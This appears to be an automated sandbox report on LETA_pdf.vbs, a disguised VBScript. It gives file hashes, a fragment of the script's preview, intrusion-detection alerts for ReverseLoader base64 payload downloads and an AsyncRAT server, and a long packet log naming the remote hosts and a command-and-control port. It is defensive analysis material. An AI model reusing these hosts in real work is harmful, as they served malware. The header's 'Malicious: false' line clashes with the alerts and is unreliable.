SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (368), with CRLF line terminators
Entropy (8bit):	3.529509303223436
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	LETA_pdf.vbs
File size:	12'486 bytes
MD5:	8825e4591cadaec1fb1d0082f84c2398
SHA1:	39fca0a522686f7b9b2b9dc5e5874aebcf231159
SHA256:	61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa
SHA512:	d5b9c70136aaef8ca9aa1dfb32225632b69de90310ba4f9dcf35567ed58cfd6da8a6fbede4714a19ff41310af0e04bc54c7c6a95060840918efc5a31893fa2c9
SSDEEP:	96:J86ymyaynXnLbv+mfupmtsgOgjAC9LFgtYif8fTFsgH2vX5bUdnL7vcumuZ4Y5Wx:JttRS/GpqDzj1eUhDH2Rb8RX1GHRkfkx
TLSH:	21424512A3FA0A08F6F75F59997A55384E7BBE65583DD21C019C290E0BF3E40C925BB3
File Content Preview:	..........F.u.n.c.t.i.o.n. .t.e.c.t.i.p.e.n.n.a.s.(.p.r.i.n.t.T.i.c.k.e.t.,. .s.c.r.i.p.t.C.o.n.t.e.x.t.,. .p.r.i.n.t.C.a.p.a.b.i.l.i.t.i.e.s.)..... . . . .D.i.m. .a.v.e.s.p.a.,. .e.n.g.r.a.v.e.s.c.e.r..... . . . .S.e.t. .a.v.e.s.p.a. .=. .p.r.i.n.t.C.a.p

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T20:33:32.055504+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49708	172.67.187.200	443	TCP
2024-11-20T20:33:53.683441+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.215.209.78	443	192.168.2.6	49734	TCP
2024-11-20T20:34:11.866457+0100	2057635	ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound	1	108.181.20.35	443	192.168.2.6	49785	TCP
2024-11-20T20:34:11.866457+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	108.181.20.35	443	192.168.2.6	49785	TCP
2024-11-20T20:34:18.262876+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	181.71.217.114	4203	192.168.2.6	49804	TCP
2024-11-20T20:34:18.262876+0100	2030673	ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)	1	181.71.217.114	4203	192.168.2.6	49804	TCP
2024-11-20T20:34:18.262876+0100	2035595	ET MALWARE Generic AsyncRAT Style SSL Cert	1	181.71.217.114	4203	192.168.2.6	49804	TCP
2024-11-20T20:34:18.262876+0100	2035607	ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)	1	181.71.217.114	4203	192.168.2.6	49804	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 20:33:29.295718908 CET	49707	80	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:29.419389009 CET	80	49707	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:29.419578075 CET	49707	80	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:29.419833899 CET	49707	80	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:29.539483070 CET	80	49707	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:30.780643940 CET	80	49707	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:30.780946970 CET	49707	80	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:30.782202005 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:30.782236099 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:30.782305956 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:30.784507990 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:30.784523964 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:30.901400089 CET	80	49707	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:30.901458025 CET	49707	80	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.055428028 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.055504084 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.060095072 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.060103893 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.060487986 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.109781981 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.114521027 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.159322977 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.596652985 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.596728086 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.596762896 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.596797943 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.596807003 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.596852064 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.596853971 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.596869946 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.596920013 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.604837894 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.609982967 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.610053062 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.610063076 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.656799078 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.716129065 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.720268011 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.720377922 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.720405102 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.766104937 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.798095942 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.803220034 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.803297997 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.803383112 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.810910940 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.811016083 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.811036110 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.818772078 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.818850040 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.818865061 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.826487064 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.826695919 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.826714993 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.841912985 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.841960907 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.842022896 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.842040062 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.842099905 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.849811077 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.857494116 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.857726097 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.857758045 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.857796907 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.857873917 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.863706112 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.870289087 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.870373011 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.870397091 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.876435995 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.876504898 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.876535892 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.882453918 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.882523060 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.882539034 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.938030005 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.938049078 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:32.984865904 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:32.998903036 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.001282930 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.001362085 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.001379967 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.007308960 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.007685900 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.007700920 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.011761904 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.011841059 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.011853933 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.011935949 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.020389080 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.020397902 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.020468950 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.028599977 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.028614998 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.028696060 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.036782026 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.036789894 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.036864996 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.040879011 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.040956020 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.045006990 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.045013905 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.045085907 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.053488970 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.053572893 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.061471939 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.061583996 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.069665909 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.069742918 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.073807001 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.073887110 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.082001925 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.082086086 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.086349964 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.086448908 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.094340086 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.094420910 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.102546930 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.102636099 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.203439951 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.203568935 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.207721949 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.207809925 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.214066982 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.214164019 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.217367887 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.217443943 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.223377943 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.223457098 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.229162931 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.229244947 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.232203007 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.232283115 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.234946012 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.235013008 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.235040903 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.235073090 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.235106945 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.235162020 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.236418962 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.236454964 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:33.236557007 CET	49708	443	192.168.2.6	172.67.187.200
Nov 20, 2024 20:33:33.236573935 CET	443	49708	172.67.187.200	192.168.2.6
Nov 20, 2024 20:33:46.882649899 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:46.882687092 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:46.882860899 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:46.894403934 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:46.894418001 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:48.854604006 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:48.854691982 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:48.856930971 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:48.856940031 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:48.857224941 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:48.864165068 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:48.911330938 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.209994078 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.210021973 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.210083961 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.210093021 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.243835926 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.243910074 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.243916988 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.297291994 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.329590082 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.329605103 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.329643965 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.329685926 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.329736948 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.444185972 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.444202900 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.444269896 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.444278002 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.466800928 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.466831923 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.466886997 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.466893911 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.466903925 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.493402958 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.493417025 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.493480921 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.493491888 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.517554998 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.517571926 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.517604113 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.517682076 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.517682076 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.517693043 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.562937975 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.689798117 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.689811945 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.689836025 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.689866066 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.689930916 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.703175068 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.703212976 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.703234911 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.703274965 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.703485012 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.703494072 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.716399908 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.716423988 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.716473103 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.716484070 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.716526031 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.733886957 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.733911037 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.733953953 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.733961105 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.734018087 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.747236013 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.747272968 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.747308969 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.747360945 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.747369051 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.747411013 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.760399103 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.760422945 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.760459900 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.760502100 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.760516882 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.777951002 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.778012037 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.778018951 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.828566074 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.902379036 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.902421951 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.902460098 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.902461052 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.902524948 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.902533054 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.912434101 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.912460089 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.912489891 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.912499905 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.912549019 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.922435045 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.922456980 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.922528982 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.922534943 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.922578096 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.935745001 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.935767889 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.935797930 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.935828924 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.935833931 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.945647955 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.945775986 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.945780993 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.955744028 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.955842972 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.955847979 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.968908072 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.968997955 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.969005108 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.978909016 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.978950977 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.978971958 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.978976965 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.979003906 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.992073059 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.992152929 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.992186069 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:49.992192030 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:49.992255926 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.001935959 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.001956940 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.002017021 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.002027988 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.013726950 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.013763905 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.013784885 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.013792038 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.013834000 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.023555994 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.023566961 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.023621082 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.023633957 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.023904085 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.033579111 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.033647060 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.033660889 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.078572035 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.134574890 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.134591103 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.134673119 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.134692907 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.141366959 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.141375065 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.141432047 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.141441107 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.148983955 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.148998022 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.149055004 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.149063110 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.152395964 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.152404070 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.152458906 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.152467012 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.156086922 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.156111002 CET	443	49734	142.215.209.78	192.168.2.6
